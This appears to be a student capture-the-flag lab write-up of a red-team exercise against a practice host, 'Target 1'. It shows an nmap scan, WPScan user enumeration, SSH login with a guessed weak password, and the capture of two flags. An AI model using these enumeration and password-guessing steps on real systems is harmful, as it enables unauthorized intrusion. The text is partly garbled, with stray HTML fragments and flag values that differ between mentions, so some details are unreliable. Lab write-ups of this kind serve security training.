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# Red Team: Summary of Operations
## Table of Contents
- Exposed Services
- Critical Vulnerabilities
- Exploitation
### Exposed Services
Nmap scan results for each machine reveal the below services and OS details:
Nmap scan results for each machine reveal the below services and OS details:
Command: $ nmap -sV 192.168.1.110
Output Screenshot:
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-24 16:55 PST
Nmap scan report for 192.168.1.110
Host is up (0.00096s latency).
Not shown: 995 closed ports
PORT
       STATE SERVICE
                        VERSION
22/tcp open ssh
                        OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http
                        Apache httpd 2.4.10 ((Debian))
                        2-4 (RPC #100000)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
This scan identifies the services below as potential points of entry:
- Target 1
  -Port 22/TCP Open SSH
 -Port 80/TCP Open HTTP
  -Port 111/TCP Open rcpbind
  -Port 139/TCP Open netbios-ssn
  -Port 445/TCP Open netbios-ssn
The following vulnerabilities were identified on each target:
- Target 1
  -User Enumeration (WordPress site)
  -Weak User Password
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-Unsalted User Password Hash (WordPress database)

-Misconfiguration of User Privileges/Privilege Escalation

Exploitation

The Red Team was able to penetrate `Target 1` and retrieve the following confidential data: - Target 1 - `flag1.txt`: b9bbcb33ellb80be759c4e844862482d - **Exploit Used** -WPScan to enumerate users of the Target 1 WordPress site -wpscan --url http://192.168.1.110 --enumerate u End footer Area →
 flag1{b9bbcb33e11b80be759c4e844862482d} → <script src="js/vendor/jquery-2.2.4.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper</pre> Targeting user Michael Small manual Brute Force attack to guess/finds Michael's password User password was weak and obvious Password: michael Capturing Flag 1: SSH in as Michael traversing through directories and files. command ssh michael@192.168.1.110 Flag 1 found in var/www/html folder in service.html in a HTML comment below the footer. Commands: ssh michael@192.168.1.110 pw: michael cd ../ cd ../ cd var/www/html cat service.html | grep flag1 michael@target1:/var/www/html\$ cat service.html | grep flag1 ←!— flag1{b9bbcb33e11b80be759c4e844862482d} → michael@target1:/var/www/html\$ - `flag2.txt`: fc3fd58dcdad9ab23faca6e9a3e581c - **Exploit Used** -Same exploit used to gain Flag 1. -Capturing Flag 2: While SSH in as user Michael Flag 2 was also found. Once again traversing through directories and files as before Flag 2 was found in /var/www next to the html folder that held Flag 1. Commands: ssh michael@192.168.1.110 password: michael

cd ../

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
You have new mail.
Last login: Thu Nov 25 12:02:38 2021 from 192.168.1.90
michael@target1:~$ cd ../
michael@target1:/home$ cd ..
michael@target1:/$ cd /var/www
michael@target1:/var/www$ ls
flag2.txt
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```